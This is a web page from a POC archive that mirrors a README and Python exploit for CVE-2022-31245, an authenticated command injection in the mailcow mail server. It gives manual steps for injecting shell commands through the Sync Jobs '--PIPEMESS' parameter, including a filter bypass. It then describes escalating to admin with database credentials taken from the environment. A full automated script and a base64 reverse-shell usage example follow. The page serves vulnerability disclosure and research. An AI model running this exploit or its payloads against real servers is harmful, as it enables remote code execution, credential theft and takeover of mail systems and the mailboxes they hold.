Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2022-31245 PoC — mailcow 操作系统命令注入漏洞

Source
Associated Vulnerability
Title: mailcow 操作系统命令注入漏洞 (CVE-2022-31245)
Description:mailcow before 2022-05d allows a remote authenticated user to inject OS commands and escalate privileges to domain admin via the --debug option in conjunction with the ---PIPEMESS option in Sync Jobs.
Description
CVE-2022-31245: RCE and domain admin privilege escalation for Mailcow
Readme
# Mailcow CVE-2022-31245
CVE-2022-31245: RCE and Domain Admin privilege escalation for Mailcow. Including POC.</br>

Reported and fixed: 2022-05

Patched Version: https://github.com/mailcow/mailcow-dockerized/releases/tag/2022-05d </br>
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31245

## CVE-2022-31245: Command Injection, RCE
Severity: 3/3 </br>
Type: Command Injection, RCE, Domain Takeover </br>
Affected versions: least 2019 - 2022-05c </br>

A flaw exists in all recent Mailcow versions where a regular user of the system can exploit the “Sync Job” feature to gain a shell using a command injection in imapsync. Using this vunerability a attacker can then easily pivot to the database and escalate privileges to the role of “Domain Admin” in Mailcow.

This exploit includes persistence by default since Sync Jobs run on a timer.

This exploit compromises the entire Mailcow instance. Tested and working on release as of 2022-05c. Patched in 2022-05d.


### Technical overview
Using the steps below the vulnerability can be recreated.

Gaining shell:
1. Go to the Mailcow login page (not SOGo)
2. Login as a regular user
3. Go to Sync Jobs
4. Set the following values: `hostname=MAILCOW_IP, Port=IMAP_PORT, Username=CURRENT_USER, Password=CURRENT_PASS, Encryption=PLAIN, Interval=1, Active=Check, Custom Parameters=--debug --nosslcheck --PIPEMESS=CMD`
Where the field "Custom Parameters" is the important field. CMD can be a arbitrary shell command without spaces. Using uppercase is important!
5. Press save and wait 1 min for the command to execute.

Custom Parameters example payload:
```
--debug --nosslcheck --PIPEMESS=touch${IFS}test.txt
```
CMD cannot contain space,quotes or slashes use ${IFS} instead of space. Uppercase for `--PIPEMESS` is important to bypass check in `functions.mailbox.inc.php` at line `340`:

```c
if (strpos($custom_params, 'pipemess')) {
	$custom_params = '';
}
```
This uppercase command still works due to the fact that `imapsync` is case insensitive.

Privilege Escalation:
1. After gaining shell on the dovcot container run `env`
2. Find `DBUSER` and `DBPASS`
3. Login to database using `mysql` and credentials
4. Create new admin user or create a new admin API-key


### Proof-of-Concept, POC
Automated POC. POC could in some cases need modification to run against non-local Mailcow instances.
```python
#!/bin/python3

description = """

Mailcow authenticated RCE. Only for educational purposes!!
By: ly1g3[at]tuta.io

This exploit can be used to get mailcow domain admin using mysql credentials found in "env" after getting shell.
Quotes, spaces and slash cant be used in cmd. Use ${IFS} as space. End command with ; is recommended.
Example reverse shell use: --cmd 'echo${IFS}PYTHON_REVERSE_SHELL_BASE64${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;' where PYTHON_REVERSE_SHELL_BASE64 is python reverse shell.


Example usage: ./mailcow_poc1.py --url https://192.168.1.2 --user test@local.com --passwd testpass --cmd 'echo${IFS}PYTHON_REVERSE_SHELL_BASE64${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;'

"""


import requests
import urllib
import sys
from urllib.parse import urlparse
import argparse
from argparse import RawTextHelpFormatter
from datetime import datetime


parser = argparse.ArgumentParser(description=description, formatter_class=RawTextHelpFormatter)
parser.add_argument('--url', help='Url to the mailcow server', required=True)
parser.add_argument('--user', help='Mailcow username, example test@mailcow.com', required=True)
parser.add_argument('--passwd', help='Mailcow user password', required=True)
parser.add_argument('--cmd', help='Command to execute', required=True)

args = parser.parse_args()


base_url = args.url
# hostname = urlparse(base_url).netloc
hostname = '127.0.0.1'
user = args.user
password = args.passwd
cmd = args.cmd


# Get the required csrf token
def find_csrf_token(text):
    try:
        start1 = text.index("var csrf_token")
        start2 = text.index("'", start1)
        end2 = text.index("'", start2+1)
        csrf_token = text[start2+1:end2]
        return csrf_token
    except:
        return ""

login_url = base_url + '/'

s = requests.Session()

# Login
r1 = s.post(login_url, data={'login_user': user, 'pass_user': password}, verify=False)

token = find_csrf_token(r1.text)
if not token:
    print("Error no token found, login problems?")
    sys.exit(0)
print(f"CSRF token: {token}")


sync_url = base_url + '/api/v1/add/syncjob'

# Create sync job with command injection
attr = f'{{"host1":"{hostname}","port1":"143","user1":"{user}","password1":"{password}","enc1":"PLAIN","mins_interval":"1","subfolder2":"","maxage":"0","maxbytespersecond":"0","timeout1":"10","timeout2":"10","exclude":"(?i)spam|(?i)junk","custom_params":"--debug --nosslcheck --PIPEMESS={cmd}","subscribeall":"1","active":"1","csrf_token":"{token}"}}'
r2 = s.post(sync_url, data={'attr': attr, 'csrf_token': token}, verify=False)

c = r2.content
if c.find(b"mailbox_modified") != -1:
    print("Success, rule modified")
elif c.find(b"object_exists") != -1:
    print("ERROR: Object exists, remove existing rule before running this")
    print(c)
    sys.exit(0)
else:
    print("ERROR: Something went wrong")
    print(c)
now = datetime.now()
current_time = now.strftime("%H:%M:%S")
print("Command may take 1min to execute...")
print(f"Done at: {current_time}")

File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →